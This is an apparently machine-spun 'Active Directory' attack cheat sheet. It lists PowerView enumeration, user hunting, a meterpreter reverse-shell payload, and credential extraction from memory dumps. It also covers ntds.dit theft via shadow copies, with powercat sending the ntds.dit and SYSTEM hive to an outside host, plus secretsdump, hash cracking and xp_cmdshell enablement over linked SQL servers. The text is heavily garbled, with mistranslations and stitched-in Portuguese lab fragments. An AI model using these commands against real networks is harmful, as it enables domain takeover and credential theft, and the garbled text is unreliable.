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Microsoft	active	directory	ports	cheat	sheet

Active	Directory	is	a	Microsoft	service	execution	on	the	server	that	used	predominantly	to	manage	multiple	permissions	and	resources	around	the	network,	also	performs	an	authenticated	and	authorizes	all	users	and	computers	on	Domain	Domain	Domain	networks.	Recent	cyber	attacks	are	frequently	targeting	the	vulnerable	Active	Directory
services	used	in	corporate	networks	where	the	organization	deals	with	the	1000	of	computers	at	the	only	control	point	called	"Domain	Control",	which	is	one	of	the	main	services	targeted	by	apt	hackers.	While	exploring	Active	Directory	is	a	challenging	task,	it	is	sure	to	activate	the	directory's	exploration	fraud	sheet	that	contains	common
enumeration	and	attack	methods	that	including	the	following	several	phases	to	simplify.	RECOGNI	Area	Enum	Privilege	_	Domain	Database	Data	Exfiltration	Active	Directory	Exploration	Tools	Tools	for	100	+	Online	Cyber	Security®	Courses:	Â	Website	Access	Cyber	Security	Â	Courses	Reconlation	List	of	Reconlation	Contains	several	modules,
including	port	scan	that	performs	following	operations.	Scan	Import-Module	Invoce-Portscan.PS1	RSAT-free	ad	module	the	secret	to	be	able	to	run	the	AdDirectory	\Directory	module	listing	commands	in	a	Microsoft	RSAT-free	system:	Management.	ManagementTM	in	a	system	that	has	RSAT	installed.	Configure	your	AD	VM,	install	RSAT,	extract	DLL
and	drop	it	to	the	target	system	used	to	enumerate	the	Active	directory.	Import-module.	Microsoft.ActiveTory.	Management.dll	Get-Command*Get-NetDomain	Enumeration	(PowerView)	(PowerView)	(Asset	Directory's	Module)	Get	the	object	of	another	get-netdomain	domain	-do	not	get-add-addomain.	Local	Get	Domain	Sid	for	the	current	Get-
DomainsID	(Get-Addomain)	dome.	Domainsid	Get	Current	Field	Policy	-Domainpolicy	(get-domaypolicypolicy).	"System	access"	Get	the	domain	policy	for	another	area	(get-domaypolicy	-domain	domain	domain	domain	domain	domain	domain	domain	domain	domain	domain	domain	domain	local).	"System	Access"	Get	Domestic	Controllers	for	the
current	Get-NetDomainController	Get	Domestic	Controller	for	Another	Get-netdomains	Uncontroller	-domain	Domain.	Location	Get-AddominController	-Domainname	Domain.	Location	-Discover	NetUser	Get	a	list	of	users	in	the	current	domain	Get-Netuser	Get-Netuser	Get-Netuser	-User	Student1	Get-Netuser.-124Select	ExPandProperty
SamaccountGet-Aduser	-Filter*	Properties*	Get-Aduser-Identity	Student1-Properties*	Get	list	of	all	properties	for	users	in	the	current	domain	Get-UserProperty	Get-UserProperty	-Properties	PWDlastset	Get-Aduser	-Filter*	-Properties	*124;	Select	-First	1	-124;	Get-Member	-Membertype	*	Property	*124;	Select	Get-Aduser-Filter	Name*	-Properties
*124;	Select	the	name,	@express	@lookup	for	a	certain	string	in	the	attributes	of	a	Find-Userfield	-Searchfield	Description	-Searchterm	"Build"	Get-Aduser	-Filter"as"Build-Up"Filter"	as	"Build-Up"	Filter*	Build	a	string	Captioning	deproperties	*124Select	Name,	Netgroup	Description	Get	a	list	of	computers	in	the	current	household	Get-NetComputer
Get-NetComputer	Get-NetComputer	-OperatingsYstem	**	server	2016*"Get-NetComputer-Ping	Get-NetComputer-Filter	*	*Get-AdComputer-Filter	*OperatingSystem-Like*	Server	2016	"'-Operational	Properties'-124;	Select	name,	get-adcomputer-filter	operationsystem'-properties	dnshotsname'-124;%Test	Connection	-Count	1-ComputerName
$Dnshotsname}	get-adcomputer-filter'-Properties*	Get	all	groups	in	the	current	domain	Get-NetGroup	-Domain	Get-NetGroup	Adgroup-filter	*124;.124;	Name	Get-ADGroup	-Filter	*	-Properties	*	Get	all	groups	containing	the	word	"admin"	in	group	name	Get-NetGroup	*admin*	Get-ADGroup	-Filter	'Name	-like	"*admin*"'	|	select	Name	Get	all	the
members	of	the	Domain	Admins	group	Get-NetGroupMember	-GroupName	"Domain	Admins"	-Recurse	Get-ADGroupMember	-Identity	"Domain	Admins"	-Recursive	Get-NetGroupMember	-GroupName	"Enterprise	Admins"	-Domain	target.local	Get	the	group	membership	for	a	user	Get-NetGroup	-UserName	"john"	Get-ADPrincipalGroupMembership	-
Identity	student1	List	all	the	local	groups	on	a	machine	(needs	administrator	privs	on	non-dc	machines)	Get-NetLocalGroup	-ComputerName	DC01.enumme.local	-ListGroups	Get	members	of	all	the	local	groups	on	a	machine	(needs	administrator	privs	on	non-dc	machines)	Get-NetLocalGroup	-ComputerName	DC01.enumme.local	-Recurse	LOGGED
Get	actively	logged	users	on	a	computer	(needs	local	admin	rights	on	the	target)	Get-NetLoggedon	-ComputerName	Get	locally	logged	users	on	a	computer	(needs	remote	registry	on	the	t	Dos	resultados	listados,	repare	que	a	entrada	"O	Meu	Programa"	estÃ¡	a	apontar	para	Ã¢C:\Program	Files\Autorun	Program\program.exeÃ¢.	No	prompt	de
comando	tipo:	C:{\i1}Users}User{\i}Desktop{\i}Tools{\i}Accesschk{\i}accesschk64.exe	-wvu	"C:{\i1}Program	FilesÂ³Autorun	Program"	A	partir	da	saÃ​da,	note	que	o	the	group	of	users	has	the	permission	to	film	all	became	ACCESSIVE	in	the	program	file.	Jeez.	Exploitation	Kali	VM	Open	command	prompt	and	type:	msfconsole	In	Metasploit	(msf
>prompt)	type:	use	multi/handler	In	Metasploit	(msf	>	prompt	type:	set	payload	windows/meterpreter/reverse	spelled	tcu	In	Metasploit	(msf	>	prompt	type:	best	set	[Kali	VM	IP	Address]	In	Metasploit	(msf>	prompt:	open	run	an	additional	command	and	prompt:	msfvenom	-p	windows/meterpreter/reverse	o	tcp	lhost=[Kali	VM	IP	Address]	-f	exe	-the
program.	exe	Copy	the	generated	file,	program.	exe,	for	Windows	VM.	Windows	VM	Place	program.	exe	in	C:Program	Files\Program	Author.	To	simulate	the	climbing	effect	of	privilege	©	logins,	logoff	and	then	resume	sessions	as	administrator	user.	Kali	will	wait	for	a	new	session	to	open	in	Metasploit.	In	Metasploit	(msf	>prompt)	enter	sessions	-i
[Session	ID]	to	confirm	that	the	attack	was	successful,	In	Metasploit	(msf	>prompt)	type:	getuid	Memory	Exploitation	Kali	VM	Open	command	prompt	and	type:	msfconsole	In	Metasploit	(msf	>prompt)	type:	use	auxiliary/server/capture/	basic	in	Metasploit	(msf	>	prompt)	type:	set	uripath	x	In	Metasploit	(msf	>	prompt)	type:	execute	Windows	VM
Open	Internet	Explorer	[Kali	VM	IP	Address]/x	Open	command	prompt	and	type:	taskmgr	On	Windows	Task	Manager,	right	click	on	the	column	"Image	Name"	and	select	"Create	Dump	File"	from	the	popup	menu.	Copy	the	generated	file,	iexplore.	DMP	to	Kali	VM.	Kali	VM	Put'iexplore.	DMP'in	the	workplace.	Open	command	prompt	and	type:	strings
/root/Desktop/iexplore.	DMP-124grep	"Authorisation:	Basic"	grep	Select	string	Copy	coded	Base64	string.	In	prompt	command:	echo-ne	[Base64	String]	-124;	base64-d	Note	credentials	in	exit.	4.	USER	HUNTING	Find	all	the	machines	in	the	current	domain	where	the	current	user	has	local	administrative	access	(Get-NetComputer+	Find-
LocalAdminAccess	-verbose	find	administrative	access	.	.Locator-PsRemotingLocalAdminaccess	BAA35;	It	is	not	possible	to	insert-pssession	-targetcomputer	computername.	Target.	Domain.	Located	\	Jos35;	StateFUL	$	SESS	=	New-PSSession	-ComputerName	targetcomputer.	Target.	Domain.	Session	£	$	Sess	IF	RPC	and	SMB	Are	Blocked	Check
With	Wmi.	Find-wmilocaladministraccess.	PS1	Find	local	administrators	in	all	domain	(get-netcomputer	+	get-	netlocalgroup)	invoke-enumerateelocaladmin	-verbose	find	computers	where	a	domain	administrator	(or	specified	group)	has	sessions	invoke-userhunter	Invoke-user-user-hunter	-GroupName	"RDPUsers"	Invoke-Userhunter-CheckAccess
Access	(Get-	NetSession	/	Get-	Netloggedon)	invoke-	UserHunter	Stealth	Wait	for	Incoming	Session	IFM	CREATE	FULL	C:	TDSUTIL	QUIT	MKDIR	C:	\	REM>	C	Windows	SystemVdmissan	Shadow	for	Copy	\\\	Windows	Windows	Windows	System	vdmisname	Device	HarddiskVolumsAwcopy5	Windows.	DIT	C:	\	extracts.	DIT	REG	SAVE	HKLM	SYSTEM	C:
\\\\	extract	\	SYS	REM	SIM	REM	Exfiltrado	for	your	REM	HOUSEKEEPING	REM	HOUSEKEEING	VSSADMIN	DELETE	SHADOW	=	{PATH}	/	Quiet	Hoto35;	Create	script.	txt	file	that	will	contain	the	process	program	of	the	cord	\	Realoja35;	Script	Script>	Configure	persistent	context	NOWRITERS	Set	Metadata	C:	\\\	windows	\	system32	\	spool	\
drivers	\\	color	\	CAB	set	verbose	in	the	beginning	of	the	backup	volume:	alias	mydrive	create	the	expository%	mydrive%	W:	backup	backup	2035;	Transfert	TartrarTarget	System	Invoke	Weburi	Uri	Uri	Uri	Uri	Uri	\\\\\\\\\\	system32	\\	spool	\\\\	drivers	\\\\\\\\\\	\\\	color	\\\\\\\\\\\\\\\\	txt	\	SOLA35;	Exec	DiskShadow	CD	C:	\	Windows	\	System32	Spool	\\
Drivers	\	COR	DISKSHADOW.EXE.-S	script.txt	jos35;	CHECK	THE	CAB	LS-	A	----	6/7/2020	9:31	PM	743	Example.Taxi	\	35;	IMPORTING	SUPVIVILEGEMDS	External	file	Invoke-WebRequest	-Uri	"	-OutFile	"C:\windows\\system32\\spool\drivers\\\color\SeBackupPrivilegeUtils.dll"	Import-Modulo	.\SeBackupPrivilegeCmdLets.dll	dll	#	CHECK	MODULE
Get-help	SeBackup----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------	Instrument	set	Cmdlet	SeBackupPrivilegeCmdLets	...	Copy	and	scan	Cmdlet	SeBackupPrivilegeCmdLets	...	#Use	the	functionality	of	the	dlls	to	copy	the	ntds.dit
database	file	from	the	shadow	copy	to	a	location	of	our	choice	Copy-FileSeBackupPrivilege	w:\windows\NTDStds.	dit	c:\Windows\temptds.	dit	-	Descending	ACTUAL	SYSTEM	hive	reg.exe	save	HKLM\	SYSTEM	c:\temp\system.hive	TRANSFER	FILE	powercat	-c	10.10.10	-p	443	-i	c:\Windows\temp\system.hive	powercat	-c	10.10.10	-p	443	-i
c:\Windows\temptds.dit	-ntds:	location	and	name	of	the	ntds	file.	dit	-system:	location	and	file	name	SYSTEM	hive	-hashes	lmALnhash:nthash	Extensions	are	automatically	added	based	on	extracted	content	#	impacket	secretsdump.	py	-ntds	ntds.	dit	-system	SYS	-hashes	lmhash:nthash	LOCAL	-outputfile	ntlm-extract	apt	install	-y	nvidia-driver	nvidia-
cuda-toolkit	apt	install	-y	mesa-utils	#	CHECK	nvidia-smi	#	CHECK	nvidia-smi	/usr/share/wordlists/rockyou.	txt	-the	cracked	cat	Tool	:	PowerUpSQL	Import-Module	.\PowerupSQL.psd1	Discovery	(SPN	Scanning)	Discover	the	instancesSQL	Server	Get-SQLInstanceLocal	-Verbose	Discover	Remote	SQL	Server	Get-SQLInstanceBroadcast	-Verbose	Get-
SQLInstanceScand	-Verbose-ComputerName	Get-SQLInstanceFile	-FilePath	c:\temp\computers.txt	|	Get-SQLInstanceScanUDPThreaded	-Verbose	Discover	Active	Directory	Domain	SQL	Server	Instances	using	alternative	domain	credentials	runas	/noprofile	/netonly	/user:domain\user	PowerShell.exe	import-module	PowerUpSQL.psd1	Get-
SQLInstanceDomain	-Verbose	-DomainController	172.16.0.1	-Username	domain\user	-password	'P@ssword123'	Check	Accessibility	Get-SQLConnectionTestThreaded	Get-SQLInstanceDomain	|	Get-SQLConnectionTestThreaded	-Verbose	Gather	Information	Get-SQLInstanceDomain	|	Get-SQLServerInfo	-Verbose	Look	for	links	to	remote	servers	Get-
SQLServerLink	-Instance	db-mssql	-Verbose	Enumerating	Database	Links	Get-SQLServerLinkCrawl	-Instance	db-mssql	-Verbose	List	SQL	Servers	using	a	specific	domain	account	Get-SQLInstanceDomain	-Verbose	-DomainAccount	SQLSvc	List	shared	domain	user	SQL	Server	service	accounts	Get-SQLInstanceDomain	-Verbose	|	Group-Object
DomainAccount	|	Sort-Object	count	-Descending	|	select	Count,Name	|	Where-Object	{($_.name	-notlike	"*$"	Get-SQLQuery	-Verbose	-InstÃ¢ncia	"10.2.2.5,1433"	AutenticaÃ§Ã£o	a	uma	instÃ¢ncia	SQL	Server	conhecida	usando	um	login	SQL	Server.	#	Server	and	Instance	Name	Get-SQLQuery	-Verbose	-Instance	"servername\instancename"	-username
testuser	-password	testpass	#	IP	and	Instance	Name	Get-SQLQuery	-Verbose	-Instance	"10.2.2.5\instancename"	-username	testuser	-password	testpass	#	IP	and	Port	Get-SQLQuery	-Verbose	-Instance	"10.2.2.5,1433"	-username	testuser	-password	testpass	Get	general	server	information	such	as	SQL/OS	versions,	service	accounts,	sysdmin	access	etc.
Get-SQLServerInfo	-Verbose	-Instance	SQLServer1\Instance1	#	$ServerInfo	=	Get-SQLInstanceDomain	|	Get-SQLServerInfoThreaded	-Verbose	-Threads	10	$ServerInfo	Get	an	inventory	of	common	objects	from	the	remote	server	including	permissions,	databases,	tables,	views	etc,	and	dump	them	out	into	CSV	files.	Invoke-SQLDumpInfo	-Instance
Server1\Instance1	Audit	for	Issues	Invoke-SQLAudit	-Verbose	-Instance	SQLServer1	Execute	OS	commands:	Agent	Job	-	PowerShell	$Targets	|	Invoke-SQLOSCmdAgentJob	-Verbose	-SubSystem	PowerShell	-Command	'write-output	"hello	world"	|	out-file	c:\windows\temp\test2.txt'	-Sleep	20	Xp_cmdshell	v1	Get-SQLServerLinkCrawl	-Instance	db-mssql
-Query	"sp_configure	'show	advanced	options',	'1'"	Get-SQLServerLinkCrawl	-Instance	db-mssql	-Query	"RECONFIGURE"	Get-SQLServerLinkCrawl	-Instance	db-mssql	-Query	"sp_configure	'xp_cmdshell',	'1'"	Get-SQLServerLinkCrawl	-Instance	db-mssql	-Query	"RECONFIGURE"	Xp_cmdshell	v2	Get-SQLQuery	-Query	'EXECUTE(''sp_configure
''''xp_cmdshell'''',1;reconfigure;'')	AT	"msqlsrv.domain.local"'	Xp_cmdshell	v3	Get-SQLServerLinkCrawl	-Instance	DOMAIN\SQLEXPRESS	'EXECUTE(''sp_configure	''''xp_cmdshell'''',1;reconfigure;'')	AT	"msqlsrv.domain.local"'	OSQL	Xp_cmdshell	osql	-E	-S	"db-mssql"	-Q	"EXECUTE('sp_configure	''xp_cmdshell'',1;RECONFIGURE;')	AT
[msqlsrv.domain.local]"	Executing	Commands
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